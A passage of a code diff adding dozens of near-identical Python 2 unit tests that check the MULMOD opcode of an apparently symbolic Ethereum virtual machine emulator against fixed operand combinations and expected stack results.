+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_237(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_238(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_239(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_240(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_241(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_242(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_243(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_244(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [961L])
+
+    def test_MULMOD_245(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_246(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_MULMOD_247(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_248(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [54277541829991966604798899222822456806220305312019014393495742503709279519201L])
+
+    def test_MULMOD_249(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [496L])
+
+    def test_MULMOD_250(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [992L])
+
+    def test_MULMOD_251(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1488L])
+
+    def test_MULMOD_252(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [188777294821908293601309290892519890038891286272L])
+
+    def test_MULMOD_253(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_254(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_255(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_256(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_257(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_258(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_259(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_260(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_261(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_262(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_MULMOD_263(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_264(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_265(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_266(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MULMOD_267(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
